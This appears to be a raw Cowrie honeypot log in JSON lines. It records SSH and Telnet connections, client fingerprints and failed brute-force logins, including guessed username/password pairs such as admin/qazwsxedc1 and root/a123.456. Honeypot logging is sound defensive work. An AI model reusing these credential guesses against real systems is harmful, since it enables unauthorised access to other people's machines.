{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:17.284976Z","src_ip":"185.239.84.249","session":"f5f43cd94067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38808,"dst_ip":"159.203.135.109","dst_port":22,"session":"91764c23ee1d","protocol":"ssh","message":"New connection: 159.203.92.129:38808 (159.203.135.109:22) [session: 91764c23ee1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:19.637564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:19.766000Z","src_ip":"159.203.92.129","session":"91764c23ee1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:19.770566Z","src_ip":"159.203.92.129","session":"91764c23ee1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsxedc1","message":"login attempt [admin/qazwsxedc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:20.503598Z","src_ip":"159.203.92.129","session":"91764c23ee1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.899004220962524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:21.522917Z","src_ip":"46.4.8.162","session":"30fabad49b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:21.532841Z","src_ip":"159.203.92.129","session":"91764c23ee1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39496,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9da19a42e9f","protocol":"telnet","message":"New connection: 188.166.220.49:39496 (159.203.135.109:23) [session: a9da19a42e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:23.153067Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb7c481eaea","protocol":"telnet","message":"New connection: 46.4.8.162:60786 (159.203.135.109:23) [session: 8fb7c481eaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:30.288243Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1e48e27ac2","protocol":"telnet","message":"New connection: 46.4.8.162:60788 (159.203.135.109:23) [session: ab1e48e27ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:30.830808Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60800,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4195ce55a0b","protocol":"telnet","message":"New connection: 46.4.8.162:60800 (159.203.135.109:23) [session: c4195ce55a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:30.978786Z"}
{"eventid":"cowrie.session.closed","duration":34.04616832733154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:32.442180Z","src_ip":"46.4.8.162","session":"3cf66124436e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":17717,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0d292142e7","protocol":"ssh","message":"New connection: 212.154.234.9:17717 (10.17.0.5:22) [session: 4c0d292142e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:33.574025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:33.582775Z","src_ip":"212.154.234.9","session":"4c0d292142e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:33.773730Z","src_ip":"212.154.234.9","session":"4c0d292142e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":34968,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a1d2207805","protocol":"ssh","message":"New connection: 103.148.100.146:34968 (159.203.135.109:22) [session: 89a1d2207805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:34.251708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:34.257143Z","src_ip":"103.148.100.146","session":"89a1d2207805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:34.516441Z","src_ip":"103.148.100.146","session":"89a1d2207805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraftserver","message":"login attempt [minecraft/minecraftserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:34.568747Z","src_ip":"212.154.234.9","session":"4c0d292142e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123.456","message":"login attempt [root/a123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:35.590141Z","src_ip":"103.148.100.146","session":"89a1d2207805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:35.760920Z","src_ip":"212.154.234.9","session":"4c0d292142e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.73303270339966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:36.123837Z","src_ip":"188.166.220.49","session":"3587f53d85a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:36.859628Z","src_ip":"103.148.100.146","session":"89a1d2207805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47854,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ecccec4136d","protocol":"telnet","message":"New connection: 46.4.8.162:47854 (159.203.135.109:23) [session: 4ecccec4136d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:40.256896Z"}
{"eventid":"cowrie.session.closed","duration":33.347612380981445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:49.468889Z","src_ip":"46.4.8.162","session":"4663abae1ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.668644189834595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:58.821570Z","src_ip":"188.166.220.49","session":"a9da19a42e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0938228bb607","protocol":"ssh","message":"New connection: 159.203.92.129:50818 (159.203.135.109:22) [session: 0938228bb607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:00.224290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:00.230620Z","src_ip":"159.203.92.129","session":"0938228bb607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:00.238253Z","src_ip":"159.203.92.129","session":"0938228bb607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsxedc2","message":"login attempt [admin/qazwsxedc2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:00.274203Z","src_ip":"159.203.92.129","session":"0938228bb607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:01.285176Z","src_ip":"159.203.92.129","session":"0938228bb607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24682593345642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:02.225497Z","src_ip":"46.4.8.162","session":"c4195ce55a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66444945335388,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:03.952503Z","src_ip":"46.4.8.162","session":"8fb7c481eaea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69695830345154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:04.527645Z","src_ip":"46.4.8.162","session":"ab1e48e27ac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59272,"dst_ip":"159.203.135.109","dst_port":23,"session":"6840b600d501","protocol":"telnet","message":"New connection: 46.4.8.162:59272 (159.203.135.109:23) [session: 6840b600d501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:12.869517Z"}
{"eventid":"cowrie.session.closed","duration":33.299453258514404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:13.556243Z","src_ip":"46.4.8.162","session":"4ecccec4136d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.15.180.31","src_port":54476,"dst_ip":"10.17.0.5","dst_port":22,"session":"402c46915f26","protocol":"ssh","message":"New connection: 3.15.180.31:54476 (10.17.0.5:22) [session: 402c46915f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:14.918275Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.15.180.31","src_port":50366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d6903398a2","protocol":"telnet","message":"New connection: 3.15.180.31:50366 (10.17.0.5:23) [session: b0d6903398a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:15.331511Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:15.396070Z","src_ip":"3.15.180.31","session":"402c46915f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.11553835868835449,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:15.446942Z","src_ip":"3.15.180.31","session":"b0d6903398a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":43984,"dst_ip":"159.203.135.109","dst_port":22,"session":"b95c94c5592d","protocol":"ssh","message":"New connection: 185.239.84.249:43984 (159.203.135.109:22) [session: b95c94c5592d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:18.540364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:18.551095Z","src_ip":"185.239.84.249","session":"b95c94c5592d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:18.759751Z","src_ip":"185.239.84.249","session":"b95c94c5592d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2026","message":"login attempt [root/teste2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:19.376697Z","src_ip":"185.239.84.249","session":"b95c94c5592d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:20.586771Z","src_ip":"185.239.84.249","session":"b95c94c5592d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46602,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dbac24d664a","protocol":"telnet","message":"New connection: 46.4.8.162:46602 (159.203.135.109:23) [session: 9dbac24d664a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:22.720001Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":52712,"dst_ip":"159.203.135.109","dst_port":22,"session":"da41e469d99e","protocol":"ssh","message":"New connection: 103.148.100.146:52712 (159.203.135.109:22) [session: da41e469d99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:36.195359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:36.199671Z","src_ip":"103.148.100.146","session":"da41e469d99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:36.460233Z","src_ip":"103.148.100.146","session":"da41e469d99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:37.538777Z","src_ip":"103.148.100.146","session":"da41e469d99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:38.802757Z","src_ip":"103.148.100.146","session":"da41e469d99e","protocol":"ssh"}
